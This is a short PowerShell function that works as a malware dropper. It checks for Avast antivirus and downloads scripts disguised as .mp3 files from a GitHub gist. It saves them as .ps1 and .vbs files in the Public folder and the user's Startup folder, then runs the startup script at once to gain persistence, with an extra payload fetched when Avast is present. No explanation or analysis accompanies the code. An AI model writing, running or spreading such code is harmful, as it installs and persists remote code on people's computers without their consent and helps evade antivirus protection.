Function BasharBachir
{
$pa = [System.IO.File]::Exists('C:\Program Files\AVAST Software\Avast\AvastUI.exe')
$p = 'C:\Users\' + $env:UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'

(New-Object System.Net.WebClient).DownloadFile('https://gist.githubusercontent.com/raigabrielmaia/d6dadc5c231693b1b947c9c4c5d131aa/raw/1366ad52103f7f167c1efe09c92ab80a18ab8a84/Nod.mp3', 'C:\Users\Public\Nod.ps1')

(New-Object System.Net.WebClient).DownloadFile('https://gist.githubusercontent.com/raigabrielmaia/d6dadc5c231693b1b947c9c4c5d131aa/raw/1366ad52103f7f167c1efe09c92ab80a18ab8a84/avast.mp3', $p + 'avastt.vbs')
Invoke-Item "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\avastt.vbs"
if($pa -eq $true)
{
(New-Object System.Net.WebClient).DownloadFile('https://gist.githubusercontent.com/raigabrielmaia/d6dadc5c231693b1b947c9c4c5d131aa/raw/1366ad52103f7f167c1efe09c92ab80a18ab8a84/avastt.mp3', 'C:\Users\Public\avastt.ps1')
}
}